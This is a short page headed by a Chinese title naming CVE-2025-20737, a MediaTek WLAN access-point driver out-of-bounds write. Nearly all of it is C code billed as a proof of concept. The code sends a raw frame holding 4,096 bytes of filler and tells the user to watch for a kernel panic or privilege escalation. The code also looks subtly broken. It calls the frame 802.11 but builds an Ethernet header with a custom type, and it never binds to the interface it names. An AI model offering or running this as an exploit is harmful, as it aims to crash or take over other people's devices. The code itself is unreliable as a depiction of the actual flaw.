CVE-2025-20737 MediaTek WLAN AP驱动越界写入权限提升漏洞

// CVE-2025-20737 MediaTek WLAN AP Driver Out of Bounds Write PoC // This PoC demonstrates the vulnerability trigger mechanism // Note: Actual exploitation requires kernel debugging environment #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netpacket/packet.h> #include <net/ethernet.h> #include <net/if.h> #define MALICIOUS_PAYLOAD_SIZE 4096 #define TARGET_BUFFER_SIZE 1024 void construct_malicious_packet(unsigned char *packet, size_t *len) { // Construct 802.11 frame with oversized payload // The driver fails to properly validate the size unsigned char *payload = packet + sizeof(struct ether_header); // Fill with controlled data to trigger OOB write memset(payload, 0x41, MALICIOUS_PAYLOAD_SIZE); // Set packet length exceeding driver's internal buffer *len = sizeof(struct ether_header) + MALICIOUS_PAYLOAD_SIZE; } int send_trigger_packet(const char *interface) { int sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sock < 0) { perror("socket creation failed"); return -1; } unsigned char packet[8192]; size_t packet_len = 0; struct ether_header *eth = (struct ether_header *)packet; eth->ether_type = htons(0x1234); // Custom protocol memset(eth->ether_shost, 0xAA, ETH_ALEN); memset(eth->ether_dhost, 0xBB, ETH_ALEN); construct_malicious_packet(packet, &packet_len); send(sock, packet, packet_len, 0); close(sock); return 0; } int main(int argc, char *argv[]) { const char *iface = argc > 1 ? argv[1] : "wlan0"; printf("[*] CVE-2025-20737 MediaTek WLAN AP OOB Write Trigger\n"); printf("[*] Target interface: %s\n", iface); printf("[*] Sending malicious packet...\n"); send_trigger_packet(iface); printf("[+] Packet sent. Check for kernel panic or privilege escalation.\n"); return 0; }